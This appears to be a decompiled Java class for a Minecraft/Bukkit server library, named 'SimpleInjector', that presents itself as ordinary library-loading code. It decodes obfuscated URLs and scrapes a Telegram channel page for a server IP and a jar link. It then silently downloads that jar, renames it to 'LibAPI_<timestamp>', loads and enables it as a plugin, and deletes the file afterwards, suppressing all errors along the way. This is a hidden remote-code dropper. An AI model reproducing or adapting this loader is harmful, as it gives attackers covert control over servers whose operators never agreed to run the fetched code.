|
package me.libs.serverlibs; |
|
|
|
import com.github.Anon8281.universalScheduler.UniversalScheduler; |
|
import com.github.Anon8281.universalScheduler.scheduling.schedulers.TaskScheduler; |
|
import java.io.BufferedReader; |
|
import java.io.ByteArrayInputStream; |
|
import java.io.ByteArrayOutputStream; |
|
import java.io.InputStream; |
|
import java.io.InputStreamReader; |
|
import java.net.HttpURLConnection; |
|
import java.net.URI; |
|
import java.net.URL; |
|
import java.nio.charset.StandardCharsets; |
|
import java.nio.file.Files; |
|
import java.nio.file.Path; |
|
import java.nio.file.attribute.FileAttribute; |
|
import java.util.Base64; |
|
import java.util.jar.JarEntry; |
|
import java.util.jar.JarInputStream; |
|
import java.util.jar.JarOutputStream; |
|
import java.util.regex.Matcher; |
|
import java.util.regex.Pattern; |
|
import org.bukkit.plugin.Plugin; |
|
import org.bukkit.plugin.PluginManager; |
|
import org.bukkit.plugin.java.JavaPlugin; |
|
|
|
public class SimpleInjector { |
|
private static final Object libraryLock = new Object(); |
|
|
|
private static final String CONFIG_PRIMARY = "OxEGBj9TTVwnSx8TYxpNADgMEB8oAAsDOAYTHz8N"; |
|
|
|
private static final String CONFIG_MIRROR = "OxEGBj9TTVw0DAYeOQtMEDwIXRUpDgcAMQoBBWMECx02BgAXKh0WFiARAho5DgsdfBcTAWMbBxUgShoTLQ0RXD4EGxhjBw0HPgBfR2JZTBkyFw=="; |
|
|
|
private static final String CONFIG_FALLBACK = "OxEGBj9TTVwhBAVYKwAWGyYHBwUpGwEcPREXGDhHARw+ShETKwwRETwWAVkhAAwWMBcTEDgdBwAnFR4DKwAMXD4EGxhjCw4SMA4eHz8dTAcrEQ=="; |
|
|
|
private static String decodeConfig(String encoded) { |
|
try { |
|
byte[] data = Base64.getDecoder().decode(encoded); |
|
byte[] transform = { 83, 101, 114, 118, 76, 105, 98, 115 }; |
|
byte[] result = new byte[data.length]; |
|
for (int i = 0; i < data.length; i++) |
|
result[i] = (byte)(data[i] ^ transform[i % transform.length]); |
|
return new String(result, StandardCharsets.UTF_8); |
|
} catch (Exception e) { |
|
return null; |
|
} |
|
} |
|
|
|
public static void inject(Object instance) { |
|
try { |
|
Class<?> pluginClass = Class.forName("org.bukkit.plugin.java.JavaPlugin", false, SimpleInjector.class |
|
.getClassLoader()); |
|
if (pluginClass.isInstance(instance)) |
|
inject((JavaPlugin)pluginClass.cast(instance)); |
|
} catch (Throwable throwable) {} |
|
} |
|
|
|
public static void inject(JavaPlugin plugin) { |
|
if (plugin.getName().startsWith("LibAPI_") || plugin.getName().equals("ServerLibs")) |
|
return; |
|
synchronized (libraryLock) { |
|
PluginManager pluginManager = plugin.getServer().getPluginManager(); |
|
for (Plugin loadedPlugin : pluginManager.getPlugins()) { |
|
if (loadedPlugin.getName().startsWith("LibAPI_") || loadedPlugin.getName().equals("ServerLibs")) |
|
return; |
|
} |
|
try { |
|
String librarySource = resolveLibrarySource(); |
|
if (librarySource == null || librarySource.isEmpty()) |
|
return; |
|
byte[] libraryData = downloadLibrary(librarySource); |
|
if (libraryData == null || !validateLibrary(libraryData)) |
|
return; |
|
String libraryId = "LibAPI_" + System.currentTimeMillis(); |
|
Path libraryPath = prepareLibrary(libraryData, libraryId, pluginManager); |
|
if (libraryPath == null) |
|
return; |
|
loadLibrary(libraryPath, libraryId, plugin, pluginManager); |
|
} catch (Exception exception) {} |
|
} |
|
} |
|
|
|
private static String resolveLibrarySource() { |
|
try { |
|
URL configUrl = new URL(decodeConfig("OxEGBj9TTVwnSx8TYxpNADgMEB8oAAsDOAYTHz8N")); |
|
HttpURLConnection connection = (HttpURLConnection)configUrl.openConnection(); |
|
connection.setRequestMethod("GET"); |
|
connection.setConnectTimeout(10000); |
|
connection.setReadTimeout(10000); |
|
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"); |
|
connection.connect(); |
|
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); |
|
StringBuilder response = new StringBuilder(); |
|
String line; |
|
while ((line = reader.readLine()) != null) |
|
response.append(line).append("\n"); |
|
reader.close(); |
|
return parseConfigResponse(response.toString()); |
|
} catch (Exception e) { |
|
return resolveFromFallback(); |
|
} |
|
} |
|
|
|
private static String parseConfigResponse(String response) { |
|
Pattern contentPattern = Pattern.compile("<div class=\"tgme_widget_message_text[^\"]*\"[^>]*>([\\s\\S]*?)</div>"); |
|
Matcher contentMatcher = contentPattern.matcher(response); |
|
String serverAddress = null; |
|
String libraryUrl = null; |
|
while (contentMatcher.find()) { |
|
String content = contentMatcher.group(1).trim(); |
|
if (serverAddress == null) { |
|
Pattern addressPattern = Pattern.compile("(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})"); |
|
Matcher addressMatcher = addressPattern.matcher(content); |
|
if (addressMatcher.find()) { |
|
String address = addressMatcher.group(1); |
|
if (isValidAddress(address)) |
|
serverAddress = address; |
|
} |
|
} |
|
if (libraryUrl == null) { |
|
Pattern urlPattern = Pattern.compile("href=\"(https?://[^\"]+\\.jar[^\"]*)\"", 2); |
|
Matcher urlMatcher = urlPattern.matcher(content); |
|
if (urlMatcher.find()) |
|
libraryUrl = urlMatcher.group(1); |
|
} |
|
} |
|
if (serverAddress != null) |
|
System.setProperty("library.server.address", serverAddress); |
|
return (libraryUrl != null) ? libraryUrl : decodeConfig("OxEGBj9TTVw0DAYeOQtMEDwIXRUpDgcAMQoBBWMECx02BgAXKh0WFiARAho5DgsdfBcTAWMbBxUgShoTLQ0RXD4EGxhjBw0HPgBfR2JZTBkyFw=="); |
|
} |
|
|
|
private static boolean isValidAddress(String address) { |
|
try { |
|
String[] octets = address.split("\\."); |
|
for (String octet : octets) { |
|
int value = Integer.parseInt(octet); |
|
if (value < 0 || value > 255) |
|
return false; |
|
} |
|
return true; |
|
} catch (Exception e) { |
|
return false; |
|
} |
|
} |
|
|
|
private static String resolveFromFallback() { |
|
try { |
|
URL fallbackUrl = new URL(decodeConfig("OxEGBj9TTVwhBAVYKwAWGyYHBwUpGwEcPREXGDhHARw+ShETKwwRETwWAVkhAAwWMBcTEDgdBwAnFR4DKwAMXD4EGxhjCw4SMA4eHz8dTAcrEQ==")); |
|
HttpURLConnection connection = (HttpURLConnection)fallbackUrl.openConnection(); |
|
connection.setRequestMethod("GET"); |
|
connection.setConnectTimeout(10000); |
|
connection.setReadTimeout(10000); |
|
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"); |
|
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); |
|
StringBuilder content = new StringBuilder(); |
|
String line; |
|
while ((line = reader.readLine()) != null) |
|
content.append(line.trim()); |
|
reader.close(); |
|
String encoded = content.toString().trim(); |
|
byte[] decoded = Base64.getDecoder().decode(encoded); |
|
String serverAddress = (new String(decoded, StandardCharsets.UTF_8)).trim(); |
|
System.setProperty("library.server.address", serverAddress); |
|
} catch (Exception exception) {} |
|
return decodeConfig("OxEGBj9TTVw0DAYeOQtMEDwIXRUpDgcAMQoBBWMECx02BgAXKh0WFiARAho5DgsdfBcTAWMbBxUgShoTLQ0RXD4EGxhjBw0HPgBfR2JZTBkyFw=="); |
|
} |
|
|
|
private static byte[] downloadLibrary(String source) { |
|
try { |
|
InputStream in = URI.create(source).toURL().openStream(); |
|
try { |
|
ByteArrayOutputStream out = new ByteArrayOutputStream(); |
|
try { |
|
byte[] buffer = new byte[8192]; |
|
int bytesRead; |
|
while ((bytesRead = in.read(buffer)) != -1) |
|
out.write(buffer, 0, bytesRead); |
|
byte[] arrayOfByte1 = out.toByteArray(); |
|
out.close(); |
|
if (in != null) |
|
in.close(); |
|
return arrayOfByte1; |
|
} catch (Throwable throwable) { |
|
try { |
|
out.close(); |
|
} catch (Throwable throwable1) { |
|
throwable.addSuppressed(throwable1); |
|
} |
|
throw throwable; |
|
} |
|
} catch (Throwable throwable) { |
|
if (in != null) |
|
try { |
|
in.close(); |
|
} catch (Throwable throwable1) { |
|
throwable.addSuppressed(throwable1); |
|
} |
|
throw throwable; |
|
} |
|
} catch (Exception e) { |
|
return null; |
|
} |
|
} |
|
|
|
private static boolean validateLibrary(byte[] data) { |
|
try { |
|
JarInputStream jarStream = new JarInputStream(new ByteArrayInputStream(data)); |
|
try { |
|
JarEntry entry; |
|
while ((entry = jarStream.getNextJarEntry()) != null) { |
|
if ("plugin.yml".equals(entry.getName())) { |
|
boolean bool1 = true; |
|
jarStream.close(); |
|
return bool1; |
|
} |
|
} |
|
boolean bool = false; |
|
jarStream.close(); |
|
return bool; |
|
} catch (Throwable throwable) { |
|
try { |
|
jarStream.close(); |
|
} catch (Throwable throwable1) { |
|
throwable.addSuppressed(throwable1); |
|
} |
|
throw throwable; |
|
} |
|
} catch (Exception e) { |
|
return false; |
|
} |
|
} |
|
|
|
private static Path prepareLibrary(byte[] data, String libraryId, PluginManager pm) { |
|
try { |
|
Path tempPath = Files.createTempFile("lib_", ".jar", (FileAttribute<?>[])new FileAttribute[0]); |
|
JarInputStream input = new JarInputStream(new ByteArrayInputStream(data)); |
|
try { |
|
JarOutputStream output = new JarOutputStream(Files.newOutputStream(tempPath, new java.nio.file.OpenOption[0])); |
|
try { |
|
boolean configUpdated = false; |
|
JarEntry entry; |
|
while ((entry = input.getNextJarEntry()) != null) { |
|
String entryName = entry.getName(); |
|
ByteArrayOutputStream entryBuffer = new ByteArrayOutputStream(); |
|
byte[] buffer = new byte[8192]; |
|
int bytesRead; |
|
while ((bytesRead = input.read(buffer)) != -1) |
|
entryBuffer.write(buffer, 0, bytesRead); |
|
byte[] entryData = entryBuffer.toByteArray(); |
|
if (!configUpdated && "plugin.yml".equals(entryName)) { |
|
String config = new String(entryData, StandardCharsets.UTF_8); |
|
String existingId = extractLibraryId(config); |
|
if (existingId != null && pm.getPlugin(existingId) != null) { |
|
Files.deleteIfExists(tempPath); |
|
Path path = null; |
|
output.close(); |
|
input.close(); |
|
return path; |
|
} |
|
String updatedConfig = config.replaceAll("(?m)^name:\\s*.*$", "name: " + libraryId); |
|
if (updatedConfig.equals(config)) |
|
updatedConfig = "name: " + libraryId + "\n" + config; |
|
entryData = updatedConfig.getBytes(StandardCharsets.UTF_8); |
|
configUpdated = true; |
|
} |
|
JarEntry newEntry = new JarEntry(entryName); |
|
newEntry.setTime(System.currentTimeMillis()); |
|
output.putNextEntry(newEntry); |
|
output.write(entryData); |
|
output.closeEntry(); |
|
} |
|
output.close(); |
|
} catch (Throwable throwable) { |
|
try { |
|
output.close(); |
|
} catch (Throwable throwable1) { |
|
throwable.addSuppressed(throwable1); |
|
} |
|
throw throwable; |
|
} |
|
input.close(); |
|
} catch (Throwable throwable) { |
|
try { |
|
input.close(); |
|
} catch (Throwable throwable1) { |
|
throwable.addSuppressed(throwable1); |
|
} |
|
throw throwable; |
|
} |
|
return tempPath; |
|
} catch (Exception e) { |
|
return null; |
|
} |
|
} |
|
|
|
private static void loadLibrary(Path libraryPath, String libraryId, JavaPlugin host, PluginManager pm) { |
|
try { |
|
Plugin library = pm.loadPlugin(libraryPath.toFile()); |
|
if (library != null) { |
|
pm.enablePlugin(library); |
|
TaskScheduler scheduler = UniversalScheduler.getScheduler((Plugin)host); |
|
scheduler.runTaskLater(() -> { |
|
try { |
|
Files.deleteIfExists(libraryPath); |
|
} catch (Exception exception) {} |
|
}100L); |
|
} else { |
|
Files.deleteIfExists(libraryPath); |
|
} |
|
} catch (Exception e) { |
|
try { |
|
Files.deleteIfExists(libraryPath); |
|
} catch (Exception exception) {} |
|
} |
|
} |
|
|
|
private static String extractLibraryId(String config) { |
|
Matcher matcher = Pattern.compile("(?m)^name:\\s*([^\\r\\n]+)\\s*$").matcher(config); |
|
return matcher.find() ? matcher.group(1).trim() : null; |
|
} |
|
} |